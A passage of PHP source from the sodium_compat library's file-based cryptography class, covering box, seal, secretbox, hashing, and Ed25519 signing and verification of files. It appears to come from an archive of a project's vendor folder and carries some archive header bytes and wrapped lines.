    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage,
$pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature,
$message, $pk);
    }
}
PK	�[b�����Cchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/File.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_File', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP's default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key
concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($inputFile, $outputFile, $nonce, $keyPair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError('Argument 4 must be a string, ' .
gettype($keyPair) . ' given.');
        }
        if (self::strlen($nonce) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be
CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keyPair) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be
CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for
writing');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($inputFile, $outputFile, $nonce,
$keypair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($nonce) . ' given.');
        }
        if (!is_string($keypair)) {
            throw new TypeError('Argument 4 must be a string, ' .
gettype($keypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be
CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keypair) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be
CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for
writing');
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($inputFile, $outputFile, $publicKey)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($outputFile) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($publicKey) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be
CRYPTO_BOX_PUBLICKEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for
writing');
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair =
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK =
ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException('Could not write to output
file');
        }
        if ($firstWrite !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Error writing public key to
output file');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($inputFile, $outputFile,
$ecdhKeypair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($outputFile) . ' given.');
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($ecdhKeypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 3 must be
CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        $publicKey =
ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for
writing');
        }

        $ephemeralPK = fread($ifp,
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException('Could not read input
file');
        }
        if (self::strlen($ephemeralPK) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Could not read public key from
sealed file');
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );
        $msgKeypair =
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the
filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash($filePath, $key = '',
$outputLength = 32)
    {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($filePath) . ' given.');
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = '';
            } else {
                throw new TypeError('Argument 2 must be a string,
' . gettype($key) . ' given.');
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError('Argument 3 must be an integer,
' . gettype($outputLength) . ' given.');
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) <
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError('Argument 2 must be at least
CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
            }
            if (self::strlen($key) >
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError('Argument 2 must be at most
CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
            }
        }
        if ($outputLength <
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException('Argument 3 must be at least
CRYPTO_GENERICHASH_BYTES_MIN');
        }
        if ($outputLength >
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException('Argument 3 must be at least
CRYPTO_GENERICHASH_BYTES_MAX');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for
reading');
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key,
$outputLength);
        while ($size > 0) {
            $blockSize = $size > 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException('Could not read input
file');
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx,
$read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx,
$outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($inputFile, $outputFile, $nonce, $key)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($inputFile) . ' given..');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !==
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be
CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' .
gettype($key) . ' given.');
        }
        if (self::strlen($key) !==
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be
CRYPTO_SECRETBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for
writing');
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($inputFile, $outputFile, $nonce,
$key)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($nonce) . ' given.');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' .
gettype($key) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !==
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be
CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (self::strlen($key) !==
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be
CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for
writing');
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($filePath, $secretKey)
    {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($filePath) . ' given.');
        }
        if (!is_string($secretKey)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($secretKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($secretKey) !==
ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError('Argument 2 must be
CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32),
true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) .
self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az,
$nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify($sig, $filePath, $publicKey)
    {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($sig) . ' given.');
        }
        if (!is_string($filePath)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($filePath) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' .
gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($sig) !==
ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES
bytes');
        }
        if (self::strlen($publicKey) !==
ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be
CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240)
                &&
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig,
32, 32))
        ) {
            throw new SodiumException('S < L - Invalid
signature');
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an
order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file
size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for
reading');
        }

        /** @var bool The original value of
ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up
verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A =
ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) .
self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce,
$boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce,
$boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce,
$key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen,
$nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input
file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 -
ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 -
ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0,
$mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future
bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input
file');
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(),
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce,
$key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen,
$nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input
file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new
ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
